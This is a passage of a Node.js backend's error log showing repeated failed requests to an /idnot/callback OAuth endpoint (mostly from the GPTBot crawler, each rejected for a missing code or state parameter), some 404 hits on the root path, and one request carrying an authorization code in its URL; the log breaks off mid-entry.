AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758627079818_v63dod7pr', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T11:36:26.679Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758627386679_juzu5qza0' } ❌ [ERROR] 2025-09-23T11:36:26.680Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758627386679_juzu5qza0', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T11:41:31.892Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758627691891_qzaejpqhr' } ❌ [ERROR] 2025-09-23T11:41:31.893Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758627691891_qzaejpqhr', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T11:44:35.170Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:45.135.193.100', method: 'GET', url: '/', userAgent: undefined }, requestId: 'req_1758627875170_flig1tgp7', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T11:46:43.704Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758628003704_2n7ttwbtp' } ❌ [ERROR] 2025-09-23T11:46:43.705Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758628003704_2n7ttwbtp', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T11:51:56.551Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758628316550_u47uqild5' } ❌ [ERROR] 2025-09-23T11:51:56.551Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758628316550_u47uqild5', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T11:57:14.238Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758628634237_gsj6sx5xy' } ❌ [ERROR] 2025-09-23T11:57:14.239Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758628634237_gsj6sx5xy', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T12:02:34.319Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758628954319_dflywm1ga' } ❌ [ERROR] 2025-09-23T12:02:34.320Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758628954319_dflywm1ga', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T12:07:57.946Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758629277945_u83mpfflc' } ❌ [ERROR] 2025-09-23T12:07:57.947Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758629277945_u83mpfflc', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T12:18:55.329Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758629935328_czldgm7pz' } ❌ [ERROR] 2025-09-23T12:18:55.330Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758629935328_czldgm7pz', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T12:30:05.882Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758630605881_qofvch9e2' } ❌ [ERROR] 2025-09-23T12:30:05.883Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758630605881_qofvch9e2', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T12:35:44.877Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758630944876_55ntjh8fm' } ❌ [ERROR] 2025-09-23T12:35:44.878Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758630944876_55ntjh8fm', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T12:41:28.644Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758631288643_k0qqjqjpk' } ❌ [ERROR] 2025-09-23T12:41:28.644Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758631288643_k0qqjqjpk', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T12:45:19.524Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:204.76.203.219', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46' }, requestId: 'req_1758631519523_6534drr3k', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T12:47:16.677Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758631636676_k9xhc27gu' } ❌ [ERROR] 2025-09-23T12:47:16.678Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758631636676_k9xhc27gu', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T12:53:07.344Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758631987343_6ejw4eph4' } ❌ [ERROR] 2025-09-23T12:53:07.345Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 2, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758631987343_6ejw4eph4', response: { statusCode: 400 } } ❌ [ERROR] 2025-09-23T12:58:15.825Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 0, request: { ip: '::ffff:89.241.240.50', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' }, requestId: 'req_1758632295824_gdlb6ik5y', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T12:58:15.933Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:89.241.240.50', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36' }, requestId: 'req_1758632295932_fw7o92we0', response: { statusCode: 404 } } ❌ [ERROR] 2025-09-23T12:58:16.282Z HTTP GET / - 404 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:89.241.240.50', method: 'GET', url: '/', userAgent: 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36' }, requestId: 'req_1758632296281_cto4icydi', response: { statusCode: 404 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T12:59:02.646Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758632342646_6lqdi5jh8' } ❌ [ERROR] 2025-09-23T12:59:02.647Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758632342646_6lqdi5jh8', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:04:58.414Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758632698413_l8s9hgygy' } ❌ [ERROR] 2025-09-23T13:04:58.414Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 1, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758632698413_l8s9hgygy', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback', method: 'GET', query: { code_present: false, code_length: undefined, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '4.227.36.107', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:10:58.223Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: undefined }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758633058221_jnz6je2oz' } ❌ [ERROR] 2025-09-23T13:10:58.225Z HTTP GET /idnot/callback - 400 ──────────────────────────────────────────────────────────────────────────────── { duration: 4, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback', userAgent: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)' }, requestId: 'req_1758633058221_jnz6je2oz', response: { statusCode: 400 } } [IdNotCallback] incoming request { originalUrl: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9LBMRO-FwcT5TbR2K8lbIWCQx7yZYFI3ygtuNErfGKrxYwG_bn4xkAMz-oeH-oKXZCghq-393Pb7Rrga9vLSLglJ27IClzEbIu1o-hp-hpIrLyysbSPFvIR84CQxQ7YsS3Ic7x2j88IBWQOGGDtrXkBO5rbiSuYX0r9VGCP0M-SbnXlPEIoIB38WNZ2_UwI89PPyecSZfLNP6iSb0gbAuYefeUdKREdgCsstF1U8Zz7sd-FkX0JkuXSTBW1_C7x_HpQ_IL9C2vqAGd1Was2CGYC25fI3MJ_d4AYoKG5wUNwJTFoA0Fj3yy44EDuZQ3nEu5JKluy9VyhhIwf9JZkGaeWuDUQUPLa8Fe4n-2MjuPmILYz8zM3apwmNnc2EIyCEK8ZrzqScMJyZIllClzC2d8bhYud3H6uYNdxB0', method: 'GET', query: { code_present: true, code_length: 619, state_present: false, state_length: undefined }, headers: { host: 'dev3.4nkweb.com', 'x-forwarded-for': '37.171.119.253', 'x-forwarded-proto': 'https' } } ❌ [ERROR] 2025-09-23T13:12:06.239Z Application error occurred ──────────────────────────────────────────────────────────────────────────────── { error: { code: 'VALIDATION_ERROR', details: [ { constraints: [ 'required' ], field: 'code', value: 'eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-_76Mbx0K3Z0kR4CraXd9L'... 419 more characters }, { constraints: [ 'required' ], field: 'state', value: undefined } ], message: 'Missing code or state', stack: 'Error: Missing code or state\n' + ' at new ValidationError (/home/ank/dev/lecoffre-back-mini/dist/types/errors.js:64:9)\n' + ' at /home/ank/dev/lecoffre-back-mini/dist/handlers/idnot-callback.handlers.js:39'... 1445 more characters, statusCode: 400 }, request: { ip: '::ffff:127.0.0.1', method: 'GET', url: '/idnot/callback?code=eyzP3g1U9rR_eU8posVgD-XrJHNyhgcf7Act7o2BLu3NDffTMYHDf8PnhBa87X1DcBOqA7W1KkJ3NDUit-H-u2AlFhQ680zn9PfLimDMKyPfGRz9NA30oDdfnWmnNlHNdjGlsn-BdYyiHJiOf_3EfXM9NQNxY-GyLevGuJh6orDrqESZwi-'... 440 more characters, userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36' }, requestId: 'req_1758633126238_aksgpypcs' } ❌ [ERROR] 2025-09-23T13:12:06.239Z HTTP GET 